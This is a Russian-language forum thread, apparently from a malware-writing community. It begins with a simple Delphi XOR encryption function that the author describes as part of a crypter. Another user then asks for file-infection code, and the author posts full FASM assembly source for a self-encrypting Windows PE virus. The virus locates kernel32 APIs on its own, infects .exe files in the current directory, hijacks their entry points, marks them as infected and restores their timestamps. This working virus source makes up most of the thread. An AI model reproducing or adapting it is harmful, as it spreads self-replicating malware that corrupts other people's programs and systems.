Delphi и XOR

Предыдущие сообщения
16 февраля 2013
#1 MyP3uk uid#1395 Вчера писал модуль к криптору, для шифрования данных XOR'ом. Решил побаловаться с ним.
В общем код:
{ Функция шифровки XOR}
function CryptStr(Str: String): String;
var i: Integer;
    s: string;
begin
  for i:= 1 to Length(Str) do
    s := s + Chr((Ord(Str[i]) xor CrKey) mod 256);
  Result := s;
End;

{ Функция дешифровки XOR}
function UnCryptStr(Str: String): String;
var i: Integer;
    s: string;
begin
  for i:= 1 to Length(Str) do
    s := s + Chr((Ord(Str[i]) xor CrKey) mod 256);
  Result := s;
End;
Вот сорец программы, показывающей xor текста (латинница, кириллица) и чисел, двумя и более ключами - скачать.
13:37:29 8
#2 oeyii uid#4371 нихуя не понял. но написано красиво 15:32:31 0
9 июня 2013
#3 Poltish uid#4747 Спасибо огромное!) Всё ясно и понятно) Но фактически функция крипта и декрипта аналогичная? Алгоритм - то двухсторонний? 20:13:04 0
#4 Gringo uid#3451 Poltish, функция декрипта на вход получает другие значения s (то что выдала функция CryptStr). 22:03:27 0
#5 MyP3uk uid#1395
Но фактически функция крипта и декрипта аналогичная
конечно, взгляни на код - у функций только имена разные.
Вообще, для читабельности кода, идентичные функции, которые используются в разных целях принято по-разному именовать ;)
23:02:22 0
#6 user uid#4763 Мурз, как время будет, запили статью о крипте софта :)
Буду премного благодарен!
23:09:56 0
#7 MyP3uk uid#1395 Писал уже, 8.000 знаков, всё проебалось со случайным нажатием Ctrl-A и потом хотел нажать Ctrl-C, а получилось просто C нажал, потом Ctrl-S... Сонный уже был и уставший, утром проснулся потом и волосы на спине дёргал от обиды :( 23:40:25 0
11 июня 2013
#8 DialMax uid#563 ништяк! +1... Мурз, есть ли у тебя сорец на фасме, с функцией заражения файла, желательно с добавлением новой секции. А то я уж себе мозги поебал, что не запилю - крах зараженной программы 00:01:55 0
#9 MyP3uk uid#1395 Заражение файла на фасме:
format PE GUI 4.0
entry vir_start

  include '%include%\win32a.inc'


section '.main' code readable writeable

  VIR_SIZE = vir_end - vir_start

  vir_start:
      call    delta
  delta:
      pop     ebp

      mov     eax,ebp
      sub     eax,delta
      je      .next0
      call    crypt_all

    .next0:
      jmp     start_crypt1

  start_crypt1:
      mov     eax,[fs:30h]
      mov     eax,[eax+0Ch]
      mov     eax,[eax+1Ch]
      mov     eax,[eax]
      mov     eax,[eax+8h]
      mov     edx,eax
      mov     [ebp+k_base-delta],edx
      mov     ebx,[eax+3Ch]
      add     ebx,edx
      add     eax,[ebx+78h]
      push    eax
      mov     esi,edx
      add     esi,[eax+20h]
      mov     ebx,edx
      add     ebx,[eax+24h]
      mov     eax,[eax+18h]
      cld

  search:
      push    esi
      mov     esi,[esi]
      add     esi,edx
      lea     edi,[ebp+_GetProcAddress-delta]
      mov     ecx,7
      repz    cmpsw
      pop     esi
      jecxz   hurra
      add     esi,4
      inc     eax
      inc     ebx
      inc     ebx
      jne     search
      jmp     exit

  hurra:
      movzx   eax,word [ebx]
      rol     eax,2
      pop     ebx
      mov     esi,[ebx+1Ch]
      add     esi,edx
      add     esi,eax
      mov     esi,[esi]
      add     esi,edx
      mov     [ebp+pGetProcAddress-delta],esi

      sub     esp,100h
      mov     edi,esp

      push    edi
      push    100h
      lea     eax,[ebp+_GetCurrentDirectoryA-delta]
      call    get_API
      call    eax

      add     edi,eax
      mov     eax,'\*.e'
      stosd
      mov     eax,'xe'
      stosd

      mov     edi,esp

      sub     esp,140h
      mov     esi,esp

      push    esi
      push    edi
      lea     eax,[ebp+_FindFirstFileA-delta]
      call    get_API
      call    eax
      inc     eax
      je      fuck
      dec     eax
      mov     ebx,eax

  search_loop:
      mov     eax,[esi]
      and     eax,10h
      jne     search_next

      mov     ecx,[esi+20h]
      mov     [ebp+fsz-delta],ecx
      add     ecx,VIR_SIZE
      lea     eax,[esi+2Ch]

      pushd   [ebp+old_entry-delta]
      call    infect
      popd    [ebp+old_entry-delta]

  search_next:
      push    esi
      push    ebx
      lea     eax,[ebp+_FindNextFileA-delta]
      call    get_API
      call    eax
      test    eax,eax
      jne     search_loop

  fuck:
      add     esp,240h

  exit:
      sub     ebp,delta
      je      vir_end

  end_crypt1:
      _push	      db 068h
      old_entry       dd ?
      _ret	      db 0C3h


  infect:
      pusha

      mov     esi,1FFh
      add     ecx,esi
      not     esi
      and     ecx,esi
      push    ecx

      xor     edx,edx
      push    edx
      push    edx
      push    3
      push    edx
      push    edx
      push    0C0000000h
      push    eax
      lea     eax,[ebp+_CreateFileA-delta]
      call    get_API
      call    eax

      pop     ecx

      inc     eax
      je      infect_end
      dec     eax
      mov     ebx,eax

      xor     edx,edx
      push    edx
      push    ecx
      push    edx
      push    4
      push    edx
      push    ebx
      lea     eax,[ebp+_CreateFileMappingA-delta]
      call    get_API
      call    eax
      test    eax,eax
      je      close_file
      mov     [ebp+map_h-delta],eax

      xor     edx,edx
      push    edx
      push    edx
      push    edx
      push    2
      push    eax
      lea     eax,[ebp+_MapViewOfFile-delta]
      call    get_API
      call    eax
      test    eax,eax
      je      close_map
      mov     [ebp+map_addr-delta],eax

      push    'MZ'
      pop     edx
      cmp     word [eax],dx
      jne     no_infect

      add     eax,[eax+3Ch]
      push    'PE'
      pop     edx
      cmp     word [eax],dx
      jne     no_infect

      push    '_757'
      pop     edx
      cmp     [eax+4Ch],edx
      je      no_infect

      movzx   ecx,word [eax+6h]
      dec     ecx

      mov     edx,[eax+28h]
      add     edx,[eax+34h]
      mov     [ebp+old_entry-delta],edx

      movzx   edx,word [eax+14h]
      add     edx,eax
      add     edx,18h

      mov     edi,[edx+14h]
      jecxz   .next1

    .loop:
      add     edx,28h
      cmp     edi,[edx+14h]
      jg      .next0
      mov     edi,[edx+14h]
    .next0:
      loop    .loop

    .next1:
      mov     ecx,[edx+10h]
      jecxz   no_infect

      add     edi,ecx
      add     edi,[ebp+map_addr-delta]
      push    edi

      call    crypt_all

      lea     esi,[ebp+vir_start-delta]
      mov     ecx,VIR_SIZE/4
      rep     movsd

      mov     ecx,(VIR_SIZE)-(VIR_SIZE/4)*4
      rep     movsb

      call    crypt_all

      mov     dword [eax+4Ch],'_757'

      pop     edi
      add     edi,[edx+0Ch]
      sub     edi,[edx+14h]
      sub     edi,[ebp+map_addr-delta]

      mov     [eax+28h],edi
      add     dword [edx+10h],VIR_SIZE
      add     dword [edx+8h],VIR_SIZE
      mov     dword [edx+24h],80000000h or 40000000h

      mov     ecx,[edx+8h]
      mov     esi,[eax+3Ch]
      dec     esi
      add     ecx,esi
      not     esi
      and     ecx,esi
      mov     [edx+8h],ecx

      add     ecx,[edx+0Ch]
      mov     [eax+50h],ecx

      push    1
      jmp     unmap_file
  no_infect:
      push    0

  unmap_file:
      pushd   [ebp+map_addr-delta]
      lea     eax,[ebp+_UnmapViewOfFile-delta]
      call    get_API
      call    eax

  close_map:
      pushd   [ebp+map_h-delta]
      lea     eax,[ebp+_CloseHandle-delta]
      call    get_API
      call    eax

      pop     eax
      test    eax,eax
      jne     close_file
      xor     edx,edx
      push    edx
      push    edx
      pushd   [ebp+fsz-delta]
      push    ebx
      lea     eax,[ebp+_SetFilePointer-delta]
      call    get_API
      call    eax

      push    ebx
      lea     eax,[ebp+_SetEndOfFile-delta]
      call    get_API
      call    eax

  close_file:
      mov     eax,[esp+4]

      add     eax,14h
      push    eax
      sub     eax,8
      push    eax
      sub     eax,8
      push    eax
      push    ebx
      lea     eax,[ebp+_SetFileTime-delta]
      call    get_API
      call    eax

      push    ebx
      lea     eax,[ebp+_CloseHandle-delta]
      call    get_API
      call    eax

  infect_end:
      popa
      ret

      map_h    dd ?
      map_addr dd ?
      fsz      dd ?

  start_crypt2:
      k_base	      dd ?

      _GetProcAddress db 'GetProcAddress',0
      pGetProcAddress dd ?

  get_API:
      push   eax
      lea    eax,[ebp+k_base-delta]
      push   dword [eax]
      call   [ebp+pGetProcAddress-delta]
      ret

      sign		    db 13,10,'SPEiN',13,10

      _CloseHandle	    db 'CloseHandle',0
      _CreateFileA	    db 'CreateFileA',0
      _CreateFileMappingA   db 'CreateFileMappingA',0
      _MapViewOfFile	    db 'MapViewOfFile',0
      _UnmapViewOfFile	    db 'UnmapViewOfFile',0
      _GetCurrentDirectoryA db 'GetCurrentDirectoryA',0
      _FindFirstFileA	    db 'FindFirstFileA',0
      _FindNextFileA	    db 'FindNextFileA',0
      _SetFilePointer	    db 'SetFilePointer',0
      _SetEndOfFile	    db 'SetEndOfFile',0
      _SetFileTime	    db 'SetFileTime',0

  end_crypt2:

  crypt_all:
      pusha
      lea     esi,[ebp+start_crypt1-delta]
      mov     edi,esi
      mov     ecx,(end_crypt1-start_crypt1)
    .crypt0:
      lodsb
      xor     al,75
      stosb
      dec     ecx
      jne     .crypt0
      lea     esi,[ebp+start_crypt2-delta]
      mov     edi,esi
      mov     ecx,(end_crypt2-start_crypt2)
    .crypt1:
      lodsb
      xor     al,75
      stosb
      dec     ecx
      jne     .crypt1
      popa
      ret

  vir_end:
      push    0
      call    [ExitProcess]

data import

  library kernel32,'KERNEL32.DLL',\
	  user32,'USER32.DLL'

  include '%include%\API\kernel32.inc'
  include '%include%\API\user32.inc'

end data
08:54:35 1
#10 DialMax uid#563 спасибо +) 10:14:04 0
Следующие сообщения
*Ник: Проверка уникальности... Если вы уже зарегистрированы, авторизуйтесь.
*Сообщение:
  Загрузка...